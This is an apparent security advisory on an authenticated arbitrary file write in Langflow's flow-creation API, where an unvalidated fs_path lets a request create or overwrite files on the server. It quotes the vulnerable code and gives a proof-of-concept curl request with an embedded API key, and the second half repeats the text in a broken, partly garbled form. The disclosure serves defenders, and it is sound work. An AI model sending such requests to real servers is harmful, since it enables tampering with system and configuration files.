Vulnerability Description
Vulnerability Overview
If an arbitrary path is specified in the request body's fs_path, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is.
Vulnerable Code
-
It receives the request body (flow), updates the DB, and then passes it to the file-writing sink.
|
@router.post("https://github.com/", response_model=FlowRead, status_code=201) |
|
async def create_flow( |
|
*, |
|
session: DbSession, |
|
flow: FlowCreate, |
|
current_user: CurrentActiveUser, |
|
): |
|
try: |
|
db_flow = await _new_flow(session=session, flow=flow, user_id=current_user.id) |
|
await session.commit() |
|
await session.refresh(db_flow) |
|
|
|
await _save_flow_to_fs(db_flow) |
|
|
|
except Exception as e: |
@router.post("https://github.com/", response_model=FlowRead, status_code=201)
async def create_flow(
*,
session: DbSession,
flow: FlowCreate,
current_user: CurrentActiveUser,
):
try:
db_flow = await _new_flow(session=session, flow=flow, user_id=current_user.id)
await session.commit()
await session.refresh(db_flow)
await _save_flow_to_fs(db_flow)
except Exception as e:
-
Applies authentication dependency (requires API Key/JWT) when accessing the endpoint.
|
CurrentActiveUser = Annotated[User, Depends(get_current_active_user)] |
|
CurrentActiveMCPUser = Annotated[User, Depends(get_current_active_user_mcp)] |
|
DbSession = Annotated[AsyncSession, Depends(get_session)] |
CurrentActiveUser = Annotated[User, Depends(get_current_active_user)]
CurrentActiveMCPUser = Annotated[User, Depends(get_current_active_user_mcp)]
DbSession = Annotated[AsyncSession, Depends(get_session)]
-
The client can directly specify the save path, including fs_path.
|
): |
|
try: |
|
await _verify_fs_path(flow.fs_path) |
|
|
|
"""Create a new flow.""" |
):
try:
await _verify_fs_path(flow.fs_path)
"""Create a new flow."""
-
It attempts to create the file (or the file, in the case of a path without a parent) directly without path validation.
|
async def _verify_fs_path(path: str | None) -> None: |
|
if path: |
|
path_ = Path(path) |
|
if not await path_.exists(): |
|
await path_.touch() |
async def _verify_fs_path(path: str | None) -> None:
if path:
path_ = Path(path)
if not await path_.exists():
await path_.touch()
-
Serializes the Flow object to JSON and writes it to the specified path in "w" mode (overwriting).
|
async def _save_flow_to_fs(flow: Flow) -> None: |
|
if flow.fs_path: |
|
async with async_open(flow.fs_path, "w") as f: |
|
try: |
|
await f.write(flow.model_dump_json()) |
|
except OSError: |
|
await logger.aexception("Failed to write flow %s to path %s", flow.name, flow.fs_path) |
async def _save_flow_to_fs(flow: Flow) -> None:
if flow.fs_path:
async with async_open(flow.fs_path, "w") as f:
try:
await f.write(flow.model_dump_json())
except OSError:
await logger.aexception("Failed to write flow %s to path %s", flow.name, flow.fs_path)
PoC
PoC Description
When an authenticated user passes an arbitrary path in fs_path, the Flow JSON is written to that path. Since /tmp is usually writable, it is easy to reproduce. In a production environment, writing to system-protected directories may fail depending on permissions.
PoC
-
Before Exploit
-
After Exploit
curl -sS -X POST "http://localhost:7860/api/v1/flows/" \
-H "Content-Type: application/json" \
-H "x-api-key: sk-8Kyzf9IQ-UEJ_OtSTaJq4eniMT9_JKgZ7__q8PNkoxc" \
-d '{"name":"poc-etc","data":{"nodes":[],"edges":[]},"fs_path":"https://github.com/tmp/POC.txt"}'
Impact
- Authenticated Arbitrary File Write (within server permission scope): Risk of corrupting configuration/log/task files, disrupting application behavior, and tampering with files read by other components.
- Both absolute and relative paths are allowed, enabling base directory traversal. The risk of overwriting system files increases in environments with root privileges or weak mount/permission settings.
- The file content is limited to Flow JSON, but the impact is severe if the target file is parsed by a JSON parser or is subject to subsequent processing.
- In production environments, it is essential to enforce a save root, normalize paths, block symlink traversal, and minimize permissions.
Vulnerability Description
Vulnerability Overview
If an arbitrary path is specified in the request body's
fs_path, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is.Vulnerable Code
It receives the request body (flow), updates the DB, and then passes it to the file-writing sink.
langflow/src/backend/base/langflow/api/v1/flows.py
Lines 154 to 168 in ac6e2d2
Applies authentication dependency (requires API Key/JWT) when accessing the endpoint.
langflow/src/backend/base/langflow/api/utils/core.py
Lines 36 to 38 in ac6e2d2
The client can directly specify the save path, including
fs_path.langflow/src/backend/base/langflow/api/v1/flows.py
Lines 66 to 70 in ac6e2d2
): try: await _verify_fs_path(flow.fs_path) """Create a new flow."""It attempts to create the file (or the file, in the case of a path without a parent) directly without path validation.
langflow/src/backend/base/langflow/api/v1/flows.py
Lines 45 to 49 in ac6e2d2
Serializes the Flow object to JSON and writes it to the specified path in "w" mode (overwriting).
langflow/src/backend/base/langflow/api/v1/flows.py
Lines 52 to 58 in ac6e2d2
PoC
PoC Description
When an authenticated user passes an arbitrary path in
fs_path, the Flow JSON is written to that path. Since/tmpis usually writable, it is easy to reproduce. In a production environment, writing to system-protected directories may fail depending on permissions.PoC
Before Exploit
After Exploit
Impact